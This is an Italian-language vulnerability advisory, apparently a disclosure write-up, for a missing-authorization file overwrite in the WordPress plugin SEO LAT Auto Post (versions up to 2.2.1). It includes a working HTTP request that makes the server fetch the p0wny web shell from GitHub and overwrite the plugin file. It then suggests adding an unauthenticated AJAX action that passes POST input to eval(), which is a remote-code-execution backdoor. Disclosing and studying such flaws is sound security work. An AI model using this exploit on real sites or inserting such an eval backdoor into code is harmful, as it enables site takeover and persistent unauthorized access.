
SEO LAT Auto Post <= 2.2.1 - Autorizzazione mancante per sovrascrittura/caricamento di file (Esecuzione remota di codice)
SEO LAT Auto Post <= 2.2.1 - Autorizzazione mancante per sovrascrittura/caricamento di file (Esecuzione di codice remoto)
Il plugin SEO LAT Auto Post per WordPress è vulnerabile alla sovrascrittura di file a causa di un controllo dei permessi mancante sull'azione AJAX remote_update in tutte le versioni fino alla 2.2.1 inclusa. Ciò consente ad attaccanti non autenticati di sovrascrivere il file seo-beginner-auto-post.php, che può essere sfruttato per ottenere l'esecuzione di codice remoto.
POST /wp-admin/admin-ajax.php HTTP/2
Host: wp-dev.ddev.site
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36
Accept: */*
Accept-Language: en-US,en;q=0.9
Content-Type: application/x-www-form-urlencoded
Content-Length: 104
action=remote_update&url=https://raw.githubusercontent.com/flozz/p0wny-shell/refs/heads/master/shell.php
Questo sovrascriverà https://wp-dev.ddev.site/wp-content/plugins/seo-beginner-auto-post/seo-beginner-auto-post.php - Consiglio di modificare il plugin attuale e aggiungere un'azione nopriv per una RCE. https://plugins.svn.wordpress.org/seo-beginner-auto-post/trunk/seo-beginner-auto-post.php
aggiungere una funzione come questa.
// Add the AJAX action
add_action('wp_ajax_nopriv_execute_code', 'execute_code_callback');
add_action('wp_ajax_execute_code', 'execute_code_callback');
// The callback function
function execute_code_callback() {
// Get the code to execute from the request
$code = $_POST['code'];
// Execute the code
eval($code);
// Return a success message
echo 'Code executed successfully!';
wp_die();
}